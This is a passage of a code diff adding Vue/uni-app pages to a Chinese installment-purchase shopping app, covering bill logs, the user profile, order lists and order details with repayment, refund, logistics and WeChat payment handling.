            <view class="logsMain" v-for="(item, index) in accountData">
                <view class="date">{{item.addtime}}</view>
                <view class="const">
                    <view class="">{{item.type}}</view>
                    <view class="">{{item.edu}}元</view>
                </view>
                <!--view class="controls">还款</view-->
            </view>
        </view>
        <view class="noData" v-else>
            <image src="/static/imgs/noData.png" ></image>
            <view class="">没有账单信息</view>
        </view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                accountData: [],
                pageIndex: 1,
                pageSize: 50,
            }
        },
        onLoad() {
            this.getAccount()
        },
        methods: {
            getAccount() {
                let t = this
                this.$util.post('Account/getAccount', {pageIndex: this.pageIndex, pageSize: this.pageSize}).then(res => {
                    if(res.code == 1){
                        this.accountData = res.data.list
                    }
                })
            }
        }
    }
</script>
<style>
    @import url(/static/css/logs.css);
</style>
pages/my/my.vue
New file
@@ -0,0 +1,297 @@
<template>
    <view class="my">
        <yk-authpup ref="authpup" type="top" @changeAuth="changeAuth" noticeTitle="便于您使用该功能上传您的照片用于核实身份场景中读取相册内容" permissionID="WRITE_EXTERNAL_STORAGE"></yk-authpup>
        <yk-authpup ref="camears" type="top" @changeAuth="changeAuth2" noticeTitle="便于您使用该功能便于您拍摄上传用于核实身份场景" permissionID="CAMERA"></yk-authpup>
        <view class="startBar" style="background-color: #e3b400;"></view>
        <view class="myTop">
            <view class="headimg">
                <image :src="userInfo != null ? userInfo.avatar : '/static/imgs/headimg.png'" class="" mode="widthFix" @tap="setImg"></image>
                <view class="">
                    <template>
                        <view v-if="userInfo == null" @tap="$util.goPages('/pages/login/login')">未登录</view>
                        <view v-else>{{userInfo.phone}}</view>
                    </template>
                    <template v-if="userInfo != null && Config">
                        <template v-if="userInfo.status == 1">
                            <view class="edu" v-if="userInfo != null && userInfo.edu_auth == 0 && Config.put_open == 2 && userInfo.over_auth == 0">额度:未认证</view>
                            <view class="edu" v-else-if="userInfo != null && userInfo.edu_auth == 0 && Config.put_open == 2 && userInfo.over_auth == 1">额度:授信中</view>
                            <view class="edu" v-else-if="userInfo != null && userInfo.edu_auth == 1 && Config.put_open == 2">额度:{{userInfo.const}}</view>
                        </template>
                        <template v-else>
                            <view class="edu">额度:授信失败</view>
                        </template>
                    </template>
                    <template v-if="userInfo != null && userInfo.face_auth == 0">
                        <view class="edu" @tap="$util.checkGoPages('/pages/my/my')">未认证(去认证)</view>
                    </template>
                </view>
            </view>
        </view>
        <view class="myNavs">
            <view class="myNavs-tips" @tap="$util.checkLogin('/pages/order/order')">
                <text class="myNavs-tips-text">我的订单</text>
                <view class="myNavs-tips-rgt">
                    <text>查看全部</text>
                    <image src="/static/imgs/right.png" mode=""></image>
                </view>
            </view>
            <view class="myNavs-view">
                <view class="myNavs-item" @tap="$util.checkLogin('/pages/order/order?status=1')">
                    <image class="myNavs-item-icon" src="/static/imgs/my-n-1.png" mode="widthFix"></image>
                    <text class="myNavs-item-text">待支付</text>
                </view>
                <view class="myNavs-item" @tap="$util.checkLogin('/pages/order/order?status=3')">
                    <image class="myNavs-item-icon" src="/static/imgs/my-n-5.png" mode="widthFix"></image>
                    <text class="myNavs-item-text">待签约</text>
                </view>
                <view class="myNavs-item" @tap="$util.checkLogin('/pages/order/order?status=4')">
                    <image class="myNavs-item-icon" src="/static/imgs/my-n-2.png" mode="widthFix"></image>
                    <text class="myNavs-item-text">待发货</text>
                </view>
                <view class="myNavs-item" @tap="$util.checkLogin('/pages/order/order?status=5')">
                    <image class="myNavs-item-icon" src="/static/imgs/my-n-3.png" mode="widthFix"></image>
                    <text class="myNavs-item-text">待收货</text>
                </view>
                <view class="myNavs-item" @tap="$util.checkLogin('/pages/order/order?status=8')">
                    <image class="myNavs-item-icon" src="/static/imgs/my-n-4.png" mode="widthFix"></image>
                    <text class="myNavs-item-text">已完成</text>
                </view>
            </view>
        </view>
        <view class="myServe">
            <view class="myNavs-tips">
                <text class="myNavs-tips-text">我的服务</text>
            </view>
            <view class="myServe-view">
                <view class="myServe-item" @tap="$util.checkLogin('/pages/profile/profile')">
                    <image src="/static/imgs/my-s-1.png" mode="widthFix"></image>
                    <text>个人信息</text>
                </view>
                <view class="myServe-item" @tap="$util.checkLogin('/pages/logs/logs')" v-if="Config && Config.put_open == 2">
                    <image src="/static/imgs/my-s-2.png" mode="widthFix"></image>
                    <text>账单信息</text>
                </view>
                <view class="myServe-item" @tap="$util.checkLogin('/pages/bank/bank')">
                    <image src="/static/imgs/my-s-3.png" mode="widthFix"></image>
                    <text>银行卡</text>
                </view>
                <view class="myServe-item" @tap="$util.checkLogin('/pages/address/address')">
                    <image src="/static/imgs/my-s-4.png" mode="widthFix"></image>
                    <text>我的地址</text>
                </view>
                <view class="myServe-item" @tap="$util.checkLogin('/pages/collect/collect')">
                    <image src="/static/imgs/my-s-5.png" mode="widthFix"></image>
                    <text>我的收藏</text>
                </view>
                <view class="myServe-item" @tap="goKefu">
                    <image src="/static/imgs/my-s-6.png" mode="widthFix"></image>
                    <text>联系客服</text>
                </view>
        <view class="myServe-item" @tap="toHuishou" >
          <template v-if="isShop">
            <image src="/static/imgs/quanshou.png" mode="widthFix"></image>
            <text>会员权收</text></template>
        </view>
            </view>
        </view>
        <view class="myBeiAn">
            <view class="">
                <text @tap="agreeDialog1">《用户协议》</text>
                <text>|</text>
                <text @tap="agreeDialog2">《隐私政策》</text>
            </view>
            <view @tap="goWebUrl('http://beian.miit.gov.cn')">APP备案号: {{Config.icp}}</view>
            <view @tap="goWebUrl('http://beian.miit.gov.cn')">Copyright © 2025 {{Config.url}} All Rights Reserved.</view>
        </view>
        <agreePup ref="agreePup1" :gp="1" title="注册协议"></agreePup>
        <agreePup ref="agreePup2" :gp="2" title="隐私政策"></agreePup>
    <uni-popup type="center" ref="comment" >
      <view style="background-image: url('/static/imgs/BOXSDF.png');background-repeat: no-repeat;background-size: 100% 100%">
        <view style="border-radius: 48rpx;padding: 28rpx 20rpx">
          <view style="text-align: center;padding-top: 30rpx;" >
            <image src="/static/imgs/wuImg.png" style="width: 372rpx;height: 240rpx;"></image>
          </view>
          <view style="font-size: 32rpx;font-weight: 600;color: #333333;text-align: center;margin-top: 34rpx;margin-bottom: 80rpx;padding: 0 28rpx;">{{errState}}</view>
          <view @click="$refs.comment.close()" style="font-weight: 500;font-size: 32rpx;color: #fff;text-align: center;padding: 24rpx 28rpx;border-top: 2rpx solid #EEEEEE;background: #FF1472;;border-radius: 40rpx ;">好的</view>
        </view>
      </view>
    </uni-popup>
    </view>
</template>
<script>
    import ykAuthpup from "@/components/yk-authpup/yk-authpup";
    import agreePup from "@/components/agreePup/agreePup";
    export default {
        components: {
            agreePup
        },
        data() {
            return {
                userInfo: this.$util.getUserInfo(),
                Config: {put_open: 1},
        isShop:false,
        errState:''
            }
        },
    onLoad() {
        },
    async onShow() {
            this.getConfig()
            this.getUserInfo()
      const _this = this;
      if(_this.$util.getUserInfo()?.phone){
        await uni.request({
          url: _this.$webHost+'/api/v2/auth/qxgIosUnionLogin?phone='+_this.$util.getUserInfo().phone,
          success: function (res) {
            _this.isShop = res.data.data.isShop;
          }
        })
      }
        },
        methods: {
      toHuishou(){
        const _this = this;
        if(!_this.isShop){
          return
        }
        uni.request({
          url: _this.$webHost+'/api/v2/customer/ryxIsBuyEquity?phone='+_this.$util.getUserInfo().phone,
          success: function (res) {
            if(res.data.code==200){
              uni.navigateTo( {
                url: '/pages/quanshou/index'
              })
            } else {
              _this.errState = res.data.data;
              _this.$refs.comment.open()
            }
          }
        })
      },
            goKefu() {
                if(this.Config && this.Config.kefu_open == 1) {
                    this.wechatWork()
                } else {
                    this.$util.checkLogin('/pages/customer/customer')
                }
            },
            setImg(){
                if(uni.getSystemInfoSync().platform != 'ios'){
                    this.$refs['authpup'].open()
                }else{
                    this.chooseImg()
                }//调起自定义权限目的弹框,具体可看示例里面很详细
            },
            changeAuth () {
                //这里是权限通过后执行自己的代码逻辑
                if(uni.getSystemInfoSync().platform !='ios'){
                    this.$refs['camears'].open()
                }
                this.chooseImg()
            },
            changeAuth2(){
                this.chooseImg()
            },
            chooseImg () {
                let t = this
                uni.chooseImage({
                    count: 1, // 默认9
                    sizeType: ['original', 'compressed'],
                    success: (chooseImageRes) => {
                        let tempFilePaths = chooseImageRes.tempFilePaths
                        let token = uni.getStorageSync('lzsc-token')
                        let header = {
                            'Accept': 'application/json',
                            'authorization': token,
                        }
                        uni.showLoading({
                            title: '上传中..',
                        })
                        uni.uploadFile({
                            url: t.$baseUrl + '/api/user/setAvatar',
                            filePath: tempFilePaths[0],
                            header: header,
                            name: 'file',
                            success: (uploadFileRes) => {
                                uni.hideLoading()
                                let res = JSON.parse(uploadFileRes.data)
                                res = JSON.parse(t.$util.decryptDes(res.data))
                                t.userInfo.avatar = res.avatar
                                uni.setStorageSync('user-info', JSON.stringify(res))
                            }
                        })
                    }
                })
            },
            getUserInfo () {
                let t = this
                t.$util.post('User/getUser').then(res => {
          t.userInfo = res.data
                })
            },
            agreeDialog1 (e) {
                this.$refs.agreePup1.dialog = !this.$refs.agreePup1.dialog
            },
            agreeDialog2 (e) {
                this.$refs.agreePup2.dialog = !this.$refs.agreePup2.dialog
            },
            goWebUrl (url) {
                // #ifdef APP-PLUS
                plus.runtime.openURL(url)
                // #endif
            },
            getConfig () {
                let t = this
                t.$util.post('Index/getConfig').then(res => {
                    t.Config = res.data
                })
            },
            wechatWork () {
                let t = this
                if(t.Config){
                    if(t.Config.put_open == 1){
                        uni.showModal({
                            title: '联系客服',
                            content: '请联系客服电话:' + t.Config.kefu_phone,
                            showCancel: false,
                            success: function (res) {
                                if (res.confirm) {
                                }
                            }
                        });
                    } else {
                        console.log(t.Config)
                        uni.share({
                            provider: "weixin",
                            openCustomerServiceChat: true,
                            customerUrl: t.Config.work_url, //企业微信地址
                            corpid: t.Config.work_id, //企业id
                            success: (res) => {
                                console.log("success:" + JSON.stringify(res))
                            },
                            fail: (err) => {
                                console.log("fail:" + JSON.stringify(err))
                            }
                        })
                    }
                }
            }
        }
    }
</script>
<style>
    @import url(/static/css/my.css);
</style>
pages/order/order.vue
New file
@@ -0,0 +1,388 @@
<template>
    <view>
        <view class="order-tab">
            <view :class="statusIndex == 0 ? 'active' : ''" @tap="tabClick(0)">全部</view>
            <view :class="statusIndex == 2 ? 'active' : ''" @tap="tabClick(2)">待审核</view>
            <view :class="statusIndex == 3 ? 'active' : ''" @tap="tabClick(3)">待签约</view>
            <view :class="statusIndex == 5 ? 'active' : ''" @tap="tabClick(5)">待收货</view>
            <view :class="statusIndex == 6 ? 'active' : ''" @tap="tabClick(6)">已逾期</view>
            <view :class="statusIndex == 8 ? 'active' : ''" @tap="tabClick(8)">已完成</view>
            <view :class="statusIndex == -3 ? 'active' : ''" @tap="tabClick(-3)">已退款</view>
        </view>
        <view class="order">
            <view class="" v-if="orderData.length > 0">
                <view class="cartsItem" v-for="(item, index) in orderData">
                    <view class="cartTitle" @tap="$util.goPages('/pages/orderinfo/orderinfo?orderid=' + item.id)">
                        <view>
                            <text class="label">时间:</text>
                            <text>{{item.addtime}}</text>
                            <text class="status-name">{{item.statusName}}</text>
                        </view>
                        <view class="sn">
                            <text class="label">订单号:</text>
                            <text>{{item.sn}}</text>
                            <text class="status-name">查看详情</text>
                        </view>
                    </view>
                    <view class="cartsGoods" v-for="(itm, idx) in item.cartsData" @tap="$util.goPages('/pages/ginfo/ginfo?id=' + itm.goodsid)">
                        <view class="cartsGoodsView">
                            <image class="cartsIcon" lazy-load :src="itm.icon" mode="widthFix"></image>
                            <view class="carts-item">
                                <view class="carts-title">{{itm.title}}</view>
                                <view class="carts-set">
                                    <view class="carts-price">
                                        <view class="">
                                            <text>单价:¥</text>
                                            <text class="red">{{itm.price}}</text>
                                            <text style="margin-left: 20upx;">数量:</text>
                                            <text class="red">{{itm.nums}}</text>
                                        </view>
                                        <view class="">
                                            <text>总价:¥</text>
                                            <text class="red">{{itm.total}}</text>
                                        </view>
                                    </view>
                                </view>
                            </view>
                        </view>
                    </view>
                    <view class="cartsCon">
                        <view class="total">
                            <text class="red">合计:{{item.total}}</text>
                        </view>
                        <view class="cons">
                            <template v-if="item.payment == 1">
                                <text class="payOrder" v-if="item.status == 1" @tap="$util.goPages('/pages/pays/pays?cartsIds=' + item.cartsids)">支付</text>
                                <text class="payback" v-if="item.status == 2" @tap="refundOrder(item)">退款</text>
                                <text class="payOrder" v-if="item.status == 3 && item.payment == 1 && item.zid != 0 && item.zstatus == 0" @tap="zsign(item)">签约</text>
                                <text class="exOrder" v-if="item.status == 4 || item.status == 5 || item.status == 6" @tap="getExpress(item)">物流</text>
                                <text class="payOrder" v-if="item.status == 4" @tap="receiveOrder(item)">收货</text>
                                <text class="payback" v-if="item.status == 3 || item.status == 4 || item.status == 5 || item.status == 6" @tap="getPlan(item)">还款</text>
                                <text class="delOrder" v-if="item.status == -1 || item.status == 1 || item.status == 7 || item.status == 8" @tap="delOrder(item, index)">删除</text>
                            </template>
                            <template v-if="item.payment != 1">
                                <text class="payOrder" v-if="item.status == 1" @tap="$util.goPages('/pages/pays/pays?cartsIds=' + item.cartsids)">支付</text>
                                <text class="payback" v-if="item.status == 3" @tap="refundOrder(item)">退款</text>
                                <text class="payOrder" v-if="item.status == 4" @tap="receiveOrder(item)">收货</text>
                                <text class="delOrder" v-if="item.status == -1 || item.status == 1 || item.status == 7 || item.status == 8" @tap="delOrder(item, index)">删除</text>
                            </template>
                        </view>
                    </view>
                </view>
            </view>
            <view class="noData" v-else>
                <image src="/static/imgs/noData.png"  style="margin-top: 200upx;"></image>
                <view class="">没有订单信息</view>
                <view class="noDataBtn" @tap="$util.goSwitch('/pages/index/index')">去看看</view>
            </view>
        </view>
        <uni-popup ref="popup" type="bottom">
            <view class="popup-content">
                <view class="pop-title">物流信息</view>
                <view class="pop-main">
                    <view class="pop-main-view" v-for="(item, index) in expressData">
                        <view class="pop-nums">{{item.datetime.slice(0, 16)}}</view>
                        <view class="pop-pay">
                            <view class="">{{item.remark}}</view>
                        </view>
                    </view>
                </view>
            </view>
        </uni-popup>
        <uni-popup ref="popup2" type="bottom">
            <view class="popup-content">
                <view class="pop-title">还款计划({{planData.length}})</view>
                <view class="pop-main" style="padding-bottom: 90upx;height: 600upx;">
                    <view class="pop-main-view" v-for="(item, index) in planData">
                        <view class="pop-pay" style="width: 100%;">
                            <view class="" @tap="planClick(item)" style="padding: 10upx 0;">
                                <image v-if="planId == item.id" src="/static/imgs/checked.png" ></image>
                                <image v-else src="/static/imgs/check.png" ></image>
                                <text>日期:{{item.paydate}}</text>
                                <text style="margin-left: 30upx;">还款金额:{{item.total}}</text>
                                <text style="margin-left: 30upx;">({{item.statusName}})</text>
                            </view>
                        </view>
                    </view>
                    <view class="planBtn" @tap="popup3Open">立即还款({{payTotal}})</view>
                </view>
            </view>
        </uni-popup>
        <uni-popup ref="popup3" type="center" style="width: 100%;">
            <view class="popup-content" style="width: 100%;">
                <view class="pop-title" style="">还款方式</view>
                <view class="pop-main" style="height: 240upx;width: 100%;">
                    <view class="pop-main-view">
                        <view class="pop-pay" style="width: 100%;border-bottom: none;">
                            <view class="pay-item" style="border-bottom: 1px solid #eeeeee;padding: 20upx 20upx 30upx 20upx;" @tap="payback(2)">
                                <image class="pay-icon" src="/static/imgs/wxpay.png" ></image>
                                <text>微信还款({{payTotal}}元)</text>
                            </view>
                            <view class="pay-item" style="padding: 20upx;border-bottom: none;" @tap="payback(3)">
                                <image class="pay-icon" src="/static/imgs/bankpay.png" style="height: 40upx; margin-right: 10upx;" ></image>
                                <view>
                                    <text>银行卡还款({{payTotal}}元)</text>
                                </view>
                            </view>
                        </view>
                    </view>
                </view>
            </view>
        </uni-popup>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                statusIndex: 0,
                pageIndex: 1,
                pageSize: 50,
                orderData: [],
                expressData: [],
                planData: [],
                payTotal: 0,
                planId: 0,
            }
        },
        onLoad(op) {
            this.statusIndex = op.status ? op.status : 0
            this.getOrderList()
        },
        //监听返回直接返回到我的
        onBackPress(options) {
            if (options.from === 'navigateBack') return false
            uni.reLaunch({ url: '/pages/my/my' })
            return true
        },
        methods: {
            //租大师签约
            zsign (item) {
                let t = this
                this.$util.post('Order/zsign', {orderid: item.id}).then(res => {
                    console.log(res)
                    if(res.code == 1){
                        t.$goWebUrl(res.data.url)
                    } else {
                        uni.showToast({
                            title: res.msg || '操作失败',
                            icon: 'error'
                        })
                    }
                })
            },
            popup3Open () {
                if(this.planId == 0) {
                    return uni.showToast({
                        title: '未选中还款计划',
                        icon: 'error'
                    })
                }
                let t = this
                uni.showModal({
                    title: '温馨提示',
                    content: '确认还款?',
                    success: function (resp) {
                        if(resp.confirm){
                            t.payback(2)
                        }
                    }
                })
            },
            //点击计划
            planClick(e){
                if(e.status != 7) {
                    this.planId = e.id
                    this.payTotal = parseFloat(e.total).toFixed(2)
                }
            },
            //计划
            getPlan (item) {
                this.payTotal = 0
                this.planId = 0
                this.$util.post('Order/getPlanData', {orderid: item.id}).then(res => {
                    console.log(res)
                    if(res.code == 1){
                        this.planData = res.data
                        this.$refs.popup2.open()
                    } else {
                        uni.showToast({
                            title: res.msg || '操作失败',
                            icon: 'error'
                        })
                    }
                })
            },
            //物流
            getExpress(item) {
                this.$util.post('Order/getExpress2', {express_no: item.express_no, express_val: item.express_val, status: item.status}).then(res => {
                    console.log('res', res)
                    if(res.code == 1){
                        this.expressData = res.data.list
                        this.$refs.popup.open()
                    } else {
                        uni.showToast({
                            title: res.msg || '查看物流失败',
                            icon: 'error'
                        })
                    }
                })
            },
            tabClick (e) {
                this.pageIndex = 1
                this.statusIndex = e
                this.getOrderList()
            },
            getOrderList () {
                this.$util.post('Order/getOrderList', {status: this.statusIndex, pageIndex: this.pageIndex, pageSize: this.pageSize}).then(res => {
                    //console.log(res)
                    if(res.code == 1){
                        this.orderData = res.data.list
                    }
                })
            },
            //删除
            delOrder (e, idx) {
                let t = this
                uni.showModal({
                    title: '温馨提示',
                    content: '确认是否删除?',
                    success: function (resp) {
                        if(resp.confirm){
                            t.$util.post('Order/delOrder', {orderid: e.id}).then(res => {
                                if(res.code == 1){
                                    uni.showToast({
                                        title: res.msg || '操作成功'
                                    })
                                    setTimeout(() => {
                                        t.orderData.splice(idx, 1)
                                    }, 500)
                                } else {
                                    uni.showToast({
                                        title: res.msg || '操作失败'
                                    })
                                }
                            })
                        }
                    }
                })
            },
            //收货
            receiveOrder (e) {
                let t = this
                uni.showModal({
                    title: '温馨提示',
                    content: '确认是否收货?',
                    success: function (res) {
                        if (res.confirm) {
                            t.$util.post('Order/receiveOrder', {orderId: e.id}).then(res => {
                                if(res.code == 1) {
                                    uni.showToast({
                                        title: res.msg || '操作成功'
                                    })
                                    setTimeout(() => {
                                        t.tabClick(5)
                                    }, 1000)
                                } else {
                                    uni.showToast({
                                        title: res.msg || '操作失败'
                                    })
                                }
                            })
                        }
                    }
                })
            },
            //退款
            refundOrder (e) {
                let t = this
                uni.showModal({
                    title: '温馨提示',
                    content: '确认是否退款?',
                    success: function (res) {
                        if (res.confirm) {
                            t.$util.post('Order/refundOrder', {orderId: e.id}).then(res => {
                                console.log(res)
                                if(res.code == 1) {
                                    uni.showToast({
                                        title: res.msg || '操作成功'
                                    })
                                    setTimeout(() => {
                                        t.tabClick(8)
                                    }, 1000)
                                } else {
                                    uni.showToast({
                                        title: res.msg || '操作失败',
                                        icon: 'error'
                                    })
                                }
                            })
                        }
                    }
                })
            },
            //还款
            payback (payment) {
                let t = this
                t.$util.post('Order/payback', {planId: t.planId, payment: payment}).then(res => {
                    if(res.code == 1) {
                        if(payment == 2) {
                            uni.requestPayment({
                                "provider": "wxpay",
                                "orderInfo": res.data,
                                success(rs) {
                                    uni.showToast({
                                        title: res.msg || '还款成功',
                                        icon: 'success',
                                    })
                                    setTimeout(() => {
                                        t.$refs.popup2.close()
                                    }, 1000)
                                    //三秒之后刷新
                                    setTimeout(() => {
                                        t.getOrderList()
                                    }, 3000)
                                },
                                fail(e) {
                                    uni.showToast({
                                        title: '还款失败',
                                        icon: 'error',
                                    })
                                    setTimeout(() => {
                                        t.$refs.popup2.close()
                                    }, 1000)
                                }
                            })
                        }
                        if(payment == 3) {
                            uni.showToast({
                                title: res.msg || '还款成功',
                                icon: 'success',
                            })
                            setTimeout(() => {
                                t.$refs.popup2.close()
                                t.$refs.popup3.close()
                            }, 1000)
                            //三秒之后刷新
                            setTimeout(() => {
                                t.getOrderList()
                            }, 3000)
                        }
                    } else {
                        uni.showToast({
                            title: res.msg || '操作失败'
                        })
                    }
                })
            }
        }
    }
</script>
<style>
    @import url(/static/css/order.css);
</style>
pages/orderinfo/orderinfo.vue
New file
@@ -0,0 +1,388 @@
<template>
    <view class="cartsItem" style="margin-top: 30upx;">
        <view class="cartsGoods" v-for="(itm, idx) in orderData.cartsData">
            <view class="cartsGoodsView">
                <image class="cartsIcon" lazy-load :src="itm.icon" mode="widthFix"></image>
                <view class="carts-item">
                    <view class="carts-title">{{itm.title}}</view>
                    <view class="carts-set">
                        <view class="carts-price">
                            <view class="">
                                <text>单价:¥</text>
                                <text class="red">{{itm.price}}</text>
                                <text style="margin-left: 20upx;">数量:</text>
                                <text class="red">{{itm.nums}}</text>
                            </view>
                            <view class="">
                                <text>总价:¥</text>
                                <text class="red">{{itm.total}}</text>
                            </view>
                        </view>
                    </view>
                </view>
            </view>
            <view class="orderDetail">
                <view class="orderDetail-v">
                    <text class="label">实付款:</text>
                    <text>{{orderData.total}}</text>
                </view>
                <view class="orderDetail-v">
                    <text class="label">订单号:</text>
                    <text>{{orderData.sn}}</text>
                </view>
                <view class="orderDetail-v">
                    <text class="label">姓名:</text>
                    <text>{{orderData.realname}}</text>
                </view>
                <view class="orderDetail-v">
                    <text class="label">手机号:</text>
                    <text>{{orderData.phone}}</text>
                </view>
                <view class="orderDetail-v">
                    <text class="label">订单状态:</text>
                    <text>{{orderData.statusName}}</text>
                </view>
                <view class="orderDetail-v">
                    <text class="label">支付方式:</text>
                    <text>{{orderData.paymentName}}</text>
                </view>
                <view class="orderDetail-v">
                    <text class="label">下单时间:</text>
                    <text>{{orderData.addtime}}</text>
                </view>
                <view class="orderDetail-v">
                    <text class="label">支付时间:</text>
                    <text>{{orderData.paytime}}</text>
                </view>
                <view class="orderDetail-v">
                    <text class="label">收货地址:</text>
                    <text>{{orderData.address}}</text>
                </view>
                <view class="orderDetail-v">
                    <text class="label">快递公司:</text>
                    <text>{{orderData.express_name ? orderData.express_name : '/'}}</text>
                </view>
                <view class="orderDetail-v">
                    <text class="label">快递单号:</text>
                    <text>{{orderData.express_no ? orderData.express_no : '/'}}</text>
                </view>
                <view class="orderDetail-v">
                    <text class="label">还款计划:</text>
                    <view class="orderplan">
                        <text v-for="(item, index) in orderData.plan">{{item.paydate}}还款{{item.total}}({{item.status == 6 ? '已还' : '未还'}})</text>
                    </view>
                </view>
                <view class="orderDetail-v">
                    <text class="label">买卖合同:</text>
                    <text style="color: #2196F3;" @tap="getEsign">点击查看</text>
                </view>
            </view>
        </view>
        <view class="orderBtns">
            <text class="orderBtns-desc">操作</text>
            <view class="orderBtns-v">
                <text class="delOrder" v-if="orderData.status == -1 || orderData.status == 6 || orderData.status == 7 || orderData.status == 1" @tap="delOrder(orderData)">删除</text>
                <text class="payOrder" v-if="orderData.status == 1" @tap="$util.goPages('/pages/pays/pays?cartsIds=' + orderData.cartsids)">支付</text>
                <text class="payback" v-if="orderData.status == 2" @tap="refundOrder(orderData)">退款</text>
                <text class="exOrder" v-if="orderData.status == 3 || orderData.status == 4 || orderData.status == 5 || orderData.status == 6" @tap="getExpress(orderData)">物流</text>
                <text class="payOrder" v-if="orderData.status == 3" @tap="receiveOrder(orderData)">收货</text>
                <text class="payback" v-if="(orderData.status == 3 || orderData.status == 4 || orderData.status == 5) && orderData.payment == 1" @tap="getPlan(orderData)">还款</text>
            </view>
        </view>
        <uni-popup ref="popup" type="bottom">
            <view class="popup-content">
                <view class="pop-title">物流信息</view>
                <view class="pop-main">
                    <view class="pop-main-view" v-for="(item, index) in expressData">
                        <view class="pop-nums">{{item.datetime.slice(0, 16)}}</view>
                        <view class="pop-pay">
                            <view class="">{{item.remark}}</view>
                        </view>
                    </view>
                </view>
            </view>
        </uni-popup>
        <uni-popup ref="popup2" type="bottom">
            <view class="popup-content">
                <view class="pop-title">还款计划({{planData.length}})</view>
                <view class="pop-main" style="padding-bottom: 90upx;height: 600upx;">
                    <view class="pop-main-view" v-for="(item, index) in planData">
                        <view class="pop-pay" style="width: 100%;">
                            <view class="" @tap="planClick(item)" style="padding: 10upx 0;">
                                <image v-if="planId == item.id" src="/static/imgs/checked.png" ></image>
                                <image v-else src="/static/imgs/check.png" ></image>
                                <text>日期:{{item.paydate}}</text>
                                <text style="margin-left: 30upx;">还款金额:{{item.total}}</text>
                                <text style="margin-left: 30upx;">({{item.statusName}})</text>
                            </view>
                        </view>
                    </view>
                    <view class="planBtn" @tap="popup3Open">立即还款({{payTotal}})</view>
                </view>
            </view>
        </uni-popup>
        <uni-popup ref="popup3" type="center" style="width: 100%;">
            <view class="popup-content" style="width: 100%;">
                <view class="pop-title" style="">还款方式</view>
                <view class="pop-main" style="height: 240upx;width: 100%;">
                    <view class="pop-main-view">
                        <view class="pop-pay" style="width: 100%;border-bottom: none;">
                            <view class="pay-item" style="border-bottom: 1px solid #eeeeee;padding: 20upx 20upx 30upx 20upx;" @tap="payback(2)">
                                <image class="pay-icon" src="/static/imgs/wxpay.png" ></image>
                                <text>微信还款({{payTotal}}元)</text>
                            </view>
                            <view class="pay-item" style="padding: 20upx;border-bottom: none;" @tap="payback(3)">
                                <image class="pay-icon" src="/static/imgs/bankpay.png" style="height: 40upx; margin-right: 10upx;" ></image>
                                <view>
                                    <text>银行卡还款({{payTotal}}元)</text>
                                </view>
                            </view>
                        </view>
                    </view>
                </view>
            </view>
        </uni-popup>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                orderid: 0,
                orderData: {},
                expressData: [],
                planData: [],
                payTotal: 0,
                planId: 0,
            }
        },
        onLoad(op) {
            this.orderid = op.orderid ? op.orderid : 0
            this.getOrderInfo()
        },
        methods: {
            getEsign(){
                let t = this
                t.$util.post('Sign/getEsign', {cartsIds: this.orderData.cartsids}).then(res => {
                    if(res.code == 1){
                        let pdfUrl = t.$baseUrl + res.data
                        // #ifdef APP-PLUS
                        plus.runtime.openURL(pdfUrl)
                        // #endif
                    } else {
                        uni.showToast({
                            title: res.msg || '未签署合同',
                            icon: 'error'
                        })
                    }
                })
            },
            popup3Open () {
                if(this.planId == 0) {
                    return uni.showToast({
                        title: '未选中还款计划',
                        icon: 'error'
                    })
                }
                let t = this
                uni.showModal({
                    title: '温馨提示',
                    content: '确认还款?',
                    success: function (resp) {
                        if(resp.confirm){
                            t.payback(2)
                        }
                    }
                })
            },
            getOrderInfo() {
                let t = this
                t.$util.post('Order/orderInfo', {orderId: this.orderid}).then(res => {
                    if(res.code == 1) {
                        this.orderData = res.data
                    }
                })
            },
            //点击计划
            planClick(e){
                if(e.status != 7) {
                    this.planId = e.id
                    this.payTotal = parseFloat(e.total).toFixed(2)
                }
            },
            //物流
            getExpress(item) {
                this.$util.post('Order/getExpress2', {express_no: item.express_no, express_val: item.express_val, status: item.status}).then(res => {
                    if(res.code == 1){
                        this.expressData = res.data.list
                        this.$refs.popup.open()
                    } else {
                        uni.showToast({
                            title: res.msg || '查看物流失败',
                            icon: 'error'
                        })
                    }
                })
            },
            //计划
            getPlan (item) {
                this.payTotal = 0
                this.planIds = []
                this.$util.post('Order/getPlanData', {orderid: item.id}).then(res => {
                    console.log('111', res)
                    if(res.code == 1){
                        this.planData = res.data
                        this.$refs.popup2.open()
                    } else {
                        uni.showToast({
                            title: res.msg || '操作失败',
                            icon: 'error'
                        })
                    }
                })
            },
            //删除
            delOrder (e) {
                let t = this
                uni.showModal({
                    title: '温馨提示',
                    content: '确认是否删除?',
                    success: function (resp) {
                        if(resp.confirm){
                            t.$util.post('Order/delOrder', {orderid: e.id}).then(res => {
                                if(res.code == 1){
                                    uni.showToast({
                                        title: res.msg || '操作成功'
                                    })
                                    setTimeout(() => {
                                        uni.navigateBack()
                                    }, 1500)
                                } else {
                                    uni.showToast({
                                        title: res.msg || '操作失败'
                                    })
                                }
                            })
                        }
                    }
                })
            },
            //收货
            receiveOrder (e) {
                let t = this
                uni.showModal({
                    title: '温馨提示',
                    content: '确认是否收货?',
                    success: function (res) {
                        if (res.confirm) {
                            t.$util.post('Order/receiveOrder', {orderId: e.id}).then(res => {
                                if(res.code == 1) {
                                    uni.showToast({
                                        title: res.msg || '操作成功'
                                    })
                                    setTimeout(() => {
                                        t.getOrderInfo()
                                    }, 500)
                                } else {
                                    uni.showToast({
                                        title: res.msg || '操作失败'
                                    })
                                }
                            })
                        }
                    }
                })
            },
            //退款
            refundOrder (e) {
                let t = this
                uni.showModal({
                    title: '温馨提示',
                    content: '确认是否退款?',
                    success: function (res) {
                        if (res.confirm) {
                            t.$util.post('Order/refundOrder', {orderId: e.id}).then(res => {
                                if(res.code == 1) {
                                    uni.showToast({
                                        title: res.msg || '操作成功'
                                    })
                                    setTimeout(() => {
                                        t.getOrderInfo()
                                    }, 1000)
                                } else {
                                    uni.showToast({
                                        title: res.msg || '操作失败'
                                    })
                                }
                            })
                        }
                    }
                })
            },
            //还款
            payback (payment) {
                let t = this
                t.$util.post('Order/payback', {planId: t.planId, payment: payment}).then(res => {
                    if(res.code == 1) {
                        if(payment == 2) {
                            uni.requestPayment({
                                "provider": "wxpay",
                                "orderInfo": res.data,
                                success(rs) {
                                    uni.showToast({
                                        title: res.msg || '还款成功',
                                        icon: 'success',
                                    })
                                    setTimeout(() => {
                                        t.$refs.popup2.close()
